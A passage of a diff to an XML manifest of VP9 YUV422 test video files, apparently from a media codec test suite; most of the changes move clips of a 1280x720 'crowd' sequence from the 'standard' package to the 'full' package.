     <value>mime=video/x-vnd.on2.vp9,size=25635466,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_noKeyFrm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_nonErrRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_Qp0-10_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=5289408,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -34101,7 +34101,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=25635466,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_Qp0-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_Qp10-20_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2829497,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -34116,157 +34116,157 @@
     <value>mime=video/x-vnd.on2.vp9,size=1241857,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_Qp40-50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=370083,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=370083,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_Qp50-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160469,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160469,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_Qp63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=40004,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=40004,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp1_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160876,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160876,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp2_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160709,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160709,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp3_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160672,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160672,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160656,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160656,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp5_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160897,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160897,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp6_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160819,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160819,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp7_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160690,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160690,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_skip5frm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=134811,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=134811,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_upScale_100_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_upScale_10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_upScale_20_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_upScale_50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_vbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160313,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160313,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160065,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160065,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160570,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160570,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160448,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160448,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160065,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160065,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_2x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160748,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160748,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160065,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160065,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_4x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_adaptQCom_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=158549,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=158549,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_adaptQVar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=159594,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=159594,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_0f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=159978,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=159978,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_0f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160781,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160781,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_15f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160564,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160564,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_15f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160274,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160274,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_5f_5s_3t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160245,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160245,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_autAltRef_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_autAltRef_8lag_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=162658,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=162658,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=167542,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=167542,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cq0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160783,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160783,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cq10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160783,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160783,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cq16_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160783,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160783,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cq32_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160783,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160783,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cq4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160783,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160783,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cq63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=136336,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=136336,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_downScale_10_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_downScale_20_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_downScale_50_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_downScale_80_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_errRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163453,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163453,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_keyFrmOnly_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=740723,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=740723,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_lossless_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=25611221,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_noKeyFrm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_nonErrRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_Qp0-10_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=5291485,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -34275,7 +34275,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=25611221,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_Qp0-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_Qp10-20_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2829098,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -34284,142 +34284,142 @@
     <value>mime=video/x-vnd.on2.vp9,size=798922,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_Qp50-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160888,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160888,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_Qp63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=40310,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=40310,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp1_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160832,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160832,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp2_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160724,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160724,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp3_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160906,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160906,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160577,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160577,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp5_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160434,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160434,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp6_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160193,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160193,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp7_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160779,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160779,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_skip5frm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=134926,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=134926,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_upScale_10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_upScale_20_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_upScale_50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_vbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
